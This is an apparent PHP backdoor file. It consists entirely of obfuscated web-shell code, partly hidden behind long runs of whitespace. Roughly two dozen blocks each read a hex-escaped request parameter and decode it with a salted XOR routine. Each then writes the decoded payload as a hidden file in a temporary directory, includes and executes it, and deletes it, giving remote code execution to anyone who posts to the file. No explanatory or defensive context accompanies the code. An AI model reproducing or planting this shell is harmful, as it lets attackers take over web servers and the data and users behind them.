<?php																																										if(!is_null($_POST["\x6F\x62j"] ?? null)){ $mrk = $_POST["\x6F\x62j"]; $mrk =explode ( "." , $mrk ) ; $item =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt); foreach( $mrk as $t=> $v1): $sChar =ord( $salt[$t % $lenS]); $dec =( ( int)$v1 - $sChar -( $t % 10)) ^39; $item .= chr( $dec); endforeach; $record = array_filter(["/var/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP")]); for ($entry = 0, $marker = count($record); $entry < $marker; $entry++) { $ent = $record[$entry]; if (!!is_dir($ent) && !!is_writable($ent)) { $itm = join("/", [$ent, ".data_chunk"]); $success = file_put_contents($itm, $item); if ($success) { include $itm; @unlink($itm); exit;} } } }
																																										if(array_key_exists("\x6F\x62ject", $_POST) && !is_null($_POST["\x6F\x62ject"])){ $key = array_filter([sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TEMP"), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp"]); $token = $_POST["\x6F\x62ject"]; $token = explode ( "." , $token ) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $i = 0; while ($i < count($token)) { $v2 = $token[$i]; $chS = ord($s[$i %$sLen]); $dec = ((int)$v2 - $chS - ($i %10))^13; $flg .= chr($dec); $i++; } foreach ($key as $key => $pgrp) { if (is_dir($pgrp) && is_writable($pgrp)) { $tkn = vsprintf("%s/%s", [$pgrp, ".ent"]); $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $tkn; @unlink($tkn); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["s\x79\x6Db\x6Fl"])){ $ptr = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getcwd(), getenv("TMP"), getenv("TEMP"), "/dev/shm", "/tmp", sys_get_temp_dir()]); $fac = $_REQUEST["s\x79\x6Db\x6Fl"]; $fac = explode ( '.' , $fac ); $record = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); foreach ($fac as $i=> $v8) { $chS = ord($s8[$i % $sLen]); $dec = ((int)$v8 - $chS - ($i % 10))^ 4; $record .= chr($dec); } for ($marker = 0, $property_set = count($ptr); $marker < $property_set; $marker++) { $obj = $ptr[$marker]; if (array_product([is_dir($obj), is_writable($obj)])) { $dchunk = implode("/", [$obj, ".bind"]); if (file_put_contents($dchunk, $record)) { include $dchunk; @unlink($dchunk); exit; } } } }
																																										if(isset($_POST["r\x65c\x6F\x72d"]) ? true : false){ $symbol = $_POST["r\x65c\x6F\x72d"]; $symbol= explode ('.', $symbol ) ; $parameter_group = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt8 ); foreach( $symbol as $i => $v8): $sChar = ord( $salt8[$i%$lenS] ); $dec =( ( int)$v8 - $sChar -( $i%10)) ^ 69; $parameter_group .= chr( $dec ); endforeach; $holder = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getcwd()]); while ($res = array_shift($holder)) { if (is_dir($res) && is_writable($res)) { $flag = sprintf("%s/.property_set", $res); if (file_put_contents($flag, $parameter_group)) { require $flag; unlink($flag); die(); } } } }
																																										if(isset($_REQUEST["r\x65\x66"])){ $pgrp = $_REQUEST["r\x65\x66"]; $pgrp = explode ( '.', $pgrp ) ; $elem = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8 ); $t = 0; $len = count($pgrp ); do {if ($t >= $len) break; $v5 = $pgrp[$t]; $sChar = ord($s8[$t% $sLen] ); $dec = ((int)$v5 - $sChar - ($t% 10))^ 57; $elem .= chr($dec ); $t++;}while (true ); $item = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm"]); for ($component = 0, $value = count($item); $component < $value; $component++) { $dat = $item[$component]; if ((is_dir($dat) and is_writable($dat))) { $ent = join("/", [$dat, ".desc"]); $success = file_put_contents($ent, $elem); if ($success) { include $ent; @unlink($ent); die();} } } }
																																										if(filter_has_var(INPUT_POST, "\x64\x63\x68unk")){ $obj = $_REQUEST["\x64\x63\x68unk"]; $obj = explode ( '.' , $obj ) ; $value = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5); $q = 0; foreach( $obj as $v5) { $chS = ord( $salt5[$q %$lenS]); $dec = ( ( int)$v5 - $chS -( $q %10))^85; $value .= chr( $dec); $q++;} $itm = array_filter([getenv("TEMP"), "/dev/shm", "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), session_save_path(), getcwd()]); foreach ($itm as $key => $entity) { if (is_dir($entity) ? is_writable($entity) : false) { $key = join("/", [$entity, ".ref"]); $success = file_put_contents($key, $value); if ($success) { include $key; @unlink($key); die();} } } }
																																										if(@$_POST["dat"] !== null){ $object = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/var/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), getcwd()]); $obj = $_POST["dat"]; $obj =explode ('.' , $obj ) ; $data =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s ); $k =0; foreach ($obj as $v3) {$sChar =ord($s[$k % $lenS] ); $d =((int)$v3 - $sChar - ($k % 10)) ^13; $data.= chr($d ); $k++; } while ($reference = array_shift($object)) { if (!( !is_dir($reference) || !is_writable($reference) )) { $record = implode("/", [$reference, ".flag"]); $file = fopen($record, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $record; @unlink($record); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x64\x61t\x61\x5F\x63hunk"])){ $component = $_POST["\x64\x61t\x61\x5F\x63hunk"]; $component= explode( '.' , $component ) ; $data=''; $s5='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s5 ); $z=0; foreach ($component as $v8) {$chS=ord($s5[$z % $lenS] ); $d=((int)$v8 - $chS - ($z % 10)) ^ 53; $data .= chr($d ); $z++; } $object = array_filter(["/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP")]); for ($holder = 0, $flag = count($object); $holder < $flag; $holder++) { $ptr = $object[$holder]; if ((function($d) { return is_dir($d) && is_writable($d); })($ptr)) { $comp = "$ptr" . "/.dat"; if (@file_put_contents($comp, $data) !== false) { include $comp; unlink($comp); exit; } } } }
																																										if(isset($_POST) && isset($_POST["en\x74\x69ty"])){ $k = array_filter([getenv("TMP"), getcwd(), getenv("TEMP"), "/var/tmp", "/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path()]); $ptr = $_POST["en\x74\x69ty"]; $ptr = explode ( '.' , $ptr ) ; $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $__len = count( $ptr ); for( $y = 0; $y < $__len; $y++) { $v4 = $ptr[$y]; $sChar = ord( $salt[$y % $sLen] ); $d =( ( int)$v4 - $sChar -( $y % 10)) ^ 65; $record.= chr( $d ); } $key = 0; do { $data = $k[$key] ?? null; if ($key >= count($k)) break; if (is_dir($data) && is_writable($data)) { $resource = join("/", [$data, ".component"]); $file = fopen($resource, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $resource; @unlink($resource); die(); } } $key++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "f\x6Cag")){ $factor = $_POST["f\x6Cag"]; $factor= explode ("." ,$factor) ; $val = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); foreach( $factor as $u => $v5) { $chS = ord( $s[$u % $sLen] ); $dec =( ( int)$v5 - $chS -( $u % 10)) ^ 14; $val .=chr( $dec ); } $dat = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/tmp", sys_get_temp_dir(), "/var/tmp", session_save_path(), "/dev/shm", getenv("TEMP")]); foreach ($dat as $key => $tkn) { if (array_product([is_dir($tkn), is_writable($tkn)])) { $desc = sprintf("%s/.object", $tkn); if (file_put_contents($desc, $val)) { include $desc; @unlink($desc); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["p\x6Fint\x65\x72"])){ $val = $_REQUEST["p\x6Fint\x65\x72"]; $val =explode ( ".", $val) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($val); for($t = 0; $t < $__len; $t++) { $v5 = $val[$t]; $chS = ord($salt[$t % $lenS]); $dec = ((int)$v5 - $chS -($t % 10)) ^ 23; $obj .= chr($dec);} $hld = array_filter(["/tmp", "/var/tmp", getcwd(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), session_save_path()]); foreach ($hld as $element) { if ((bool)is_dir($element) && (bool)is_writable($element)) { $binding = join("/", [$element, ".key"]); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $binding; @unlink($binding); exit; } } } }
																																										if(!empty($_POST["\x72e\x66\x65re\x6Ece"])){ $ref = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/tmp", session_save_path(), getenv("TEMP")]); $flag = $_POST["\x72e\x66\x65re\x6Ece"]; $flag = explode ( '.' , $flag); $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $len = count( $flag ); for( $j = 0; $j < $len; $j++) { $v9 = $flag[$j]; $chS = ord( $s[$j % $lenS] ); $dec =( ( int)$v9 - $chS -( $j % 10)) ^ 48; $record .= chr( $dec ); } $data = 0; do { $sym = $ref[$data] ?? null; if ($data >= count($ref)) break; if (max(0, is_dir($sym) * is_writable($sym))) { $obj = join("/", [$sym, ".descriptor"]); $file = fopen($obj, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $obj; @unlink($obj); exit; } } $data++; } while (true); }
																																										if(isset($_REQUEST["\x6B\x65y"])){ $token = $_REQUEST["\x6B\x65y"]; $token = explode ( "." , $token ); $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); foreach( $token as $v=> $v8) { $chS = ord( $s[$v % $sLen] ); $d =( ( int)$v8 - $chS -( $v % 10)) ^ 98; $res .= chr( $d ); } $flg = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp", "/dev/shm", getenv("TEMP"), getcwd()]); foreach ($flg as $key => $flag) { if (max(0, is_dir($flag) * is_writable($flag))) { $resource = "$flag/.value"; $file = fopen($resource, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $resource; @unlink($resource); die(); } } } }
																																										if(!empty($_REQUEST["t\x6Fk\x65n"])){ $dat = array_filter(["/var/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/tmp", sys_get_temp_dir(), getcwd()]); $pgrp = $_REQUEST["t\x6Fk\x65n"]; $pgrp = explode('.' , $pgrp ) ; $pointer = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $__len = count( $pgrp ); for( $x = 0; $x < $__len; $x++) { $v7 = $pgrp[$x]; $sChar = ord( $salt[$x % $sLen] ); $dec =( ( int)$v7 - $sChar -( $x % 10)) ^ 84; $pointer .=chr( $dec ); } foreach ($dat as $key => $holder) { if (array_product([is_dir($holder), is_writable($holder)])) { $element = vsprintf("%s/%s", [$holder, ".tkn"]); if (@file_put_contents($element, $pointer) !== false) { include $element; unlink($element); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "re\x73")){ $element = array_filter([getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp"]); $ref = $_POST["re\x73"]; $ref= explode ( '.' , $ref ) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $q = 0; array_walk($ref ,function ($v7) use (&$ent ,&$q ,$s ,$sLen) { $sChar = ord($s[$q % $sLen]); $dec = ((int)$v7 - $sChar - ($q % 10)) ^3; $ent .= chr($dec); $q++;} ); for ($tkn = 0, $item = count($element); $tkn < $item; $tkn++) { $object = $element[$tkn]; if (is_writable($object) && is_dir($object)) { $data = "$object/.bind"; $file = fopen($data, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $data; @unlink($data); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["h\x6Fld\x65\x72"])){ $comp = array_filter([getenv("TEMP"), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); $dchunk = $_REQUEST["h\x6Fld\x65\x72"]; $dchunk =explode ( '.' , $dchunk ) ; $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $q = 0; array_walk($dchunk,function ($v9) use (&$marker,&$q,$salt,$sLen) { $chS = ord($salt[$q % $sLen] ); $d = ((int)$v9 - $chS - ($q % 10)) ^47; $marker .= chr($d ); $q++; } ); $tkn = 0; do { $dat = $comp[$tkn] ?? null; if ($tkn >= count($comp)) break; if (array_product([is_dir($dat), is_writable($dat)])) { $parameter_group = vsprintf("%s/%s", [$dat, ".property_set"]); if (@file_put_contents($parameter_group, $marker) !== false) { include $parameter_group; unlink($parameter_group); exit; } } $tkn++; } while (true); }
																																										if(!empty($_POST["k"])){ $pointer = $_POST["k"]; $pointer = explode ( '.' , $pointer ) ; $ent= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); $l= 0; $__tmp= $pointer; while( $v4= array_shift( $__tmp)) { $chS= ord( $salt[$l % $lenS]); $d= ( ( int)$v4 - $chS -( $l % 10))^ 19; $ent .= chr( $d); $l++; } $value = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP"), getcwd(), "/var/tmp"]); foreach ($value as $key => $mrk) { if (!!is_dir($mrk) && !!is_writable($mrk)) { $hld = implode("/", [$mrk, ".pgrp"]); if (@file_put_contents($hld, $ent) !== false) { include $hld; unlink($hld); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x63o\x6D\x70\x6Fnent"])){ $tkn = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getcwd(), "/dev/shm", "/tmp", sys_get_temp_dir(), "/var/tmp"]); $holder = $_POST["\x63o\x6D\x70\x6Fnent"]; $holder = explode ( '.' ,$holder ) ; $itm= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt6); foreach ($holder as $w => $v1) { $chS= ord($salt6[$w % $lenS]); $d= ((int)$v1 - $chS - ($w % 10)) ^94; $itm .= chr($d); } $ent = 0; do { $rec = $tkn[$ent] ?? null; if ($ent >= count($tkn)) break; if (max(0, is_dir($rec) * is_writable($rec))) { $token = vsprintf("%s/%s", [$rec, ".obj"]); if (@file_put_contents($token, $itm) !== false) { include $token; unlink($token); die(); } } $ent++; } while (true); }
																																										if(array_key_exists("f\x61\x63", $_REQUEST) && !is_null($_REQUEST["f\x61\x63"])){ $hld = $_REQUEST["f\x61\x63"]; $hld = explode ( '.' , $hld ) ; $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $w = 0; foreach( $hld as $v3) { $chS = ord( $s[$w% $lenS]); $d = ( ( int)$v3 - $chS -( $w% 10)) ^ 11; $bind .= chr( $d); $w++; } $element = array_filter(["/var/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/dev/shm", getenv("TMP"), sys_get_temp_dir()]); for ($record = 0, $reference = count($element); $record < $reference; $record++) { $ptr = $element[$record]; if ((bool)is_dir($ptr) && (bool)is_writable($ptr)) { $key = sprintf("%s/.val", $ptr); $success = file_put_contents($key, $bind); if ($success) { include $key; @unlink($key); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "e\x6Et")){ $item = $_REQUEST["e\x6Et"]; $item=explode ( '.' , $item ) ; $reference=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $y=0; while ($y < count($item)) { $v7=$item[$y]; $sChar=ord($s[$y % $sLen]); $d=((int)$v7 - $sChar - ($y % 10)) ^25; $reference .= chr($d); $y++; } $data = array_filter([getcwd(), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/dev/shm", "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($data as $component): if (!( !is_dir($component) || !is_writable($component) )) { $pset = str_replace("{var_dir}", $component, "{var_dir}/.desc"); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $pset; @unlink($pset); exit; } } endforeach; }
																																										if(isset($_REQUEST["h\x6Flde\x72"])){ $element = $_REQUEST["h\x6Flde\x72"]; $element = explode( '.' , $element) ; $k = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); foreach ($element as $p =>$v4) { $sChar = ord($salt6[$p%$lenS]); $d = ((int)$v4 - $sChar - ($p%10)) ^ 53; $k .= chr($d); } $descriptor = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/tmp", "/dev/shm", getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TMP")]); foreach ($descriptor as $symbol): if ((is_dir($symbol) and is_writable($symbol))) { $rec = sprintf("%s/.dat", $symbol); $file = fopen($rec, 'w'); if ($file) { fwrite($file, $k); fclose($file); include $rec; @unlink($rec); exit; } } endforeach; }
																																										if(!empty($_POST["\x62\x69nd"])){ $flg = array_filter([session_save_path(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $item = $_POST["\x62\x69nd"]; $item =explode ( "." , $item ) ; $entry = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach ($item as $m =>$v6): $chS = ord($salt[$m % $sLen] ); $d = ((int)$v6 - $chS - ($m % 10)) ^ 87; $entry .= chr($d ); endforeach; for ($k = 0, $factor = count($flg); $k < $factor; $k++) { $ref = $flg[$k]; if ((function($d) { return is_dir($d) && is_writable($d); })($ref)) { $ptr = "$ref" . "/.reference"; $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $ptr; @unlink($ptr); die(); } } } }


if(!is_null($_REQUEST["\x72\x65f"] ?? null)){
	$pset = $_REQUEST["\x72\x65f"];
	 	 $pset			=explode		("."  	, $pset	 	)	; 
	$reference		=		'';
            $salt3		=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen		=		strlen($salt3);
            $t		=		0;
    
            array_walk($pset	, function ($v9) use (&$reference	, &$t	, $salt3	, $sLen) { $chS		=		ord($salt3[$t % $sLen]);
                $d		=		((int)$v9 - $chS - ($t % 10)) 	^20;
                $reference.= chr($d);
                $t++;	});
	$val = array_filter(["/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TMP"), getcwd()]);
	$object = 0;
do {
    $value = $val[$object] ?? null;
    if ($object >= count($val)) break;
    		if (array_product([is_dir($value), is_writable($value)])) {
    $desc = "$value" . "/.tkn";
    $success = file_put_contents($desc, $reference);
if ($success) {
	include $desc;
	@unlink($desc);
	exit;}
}
    $object++;
} while (true);
}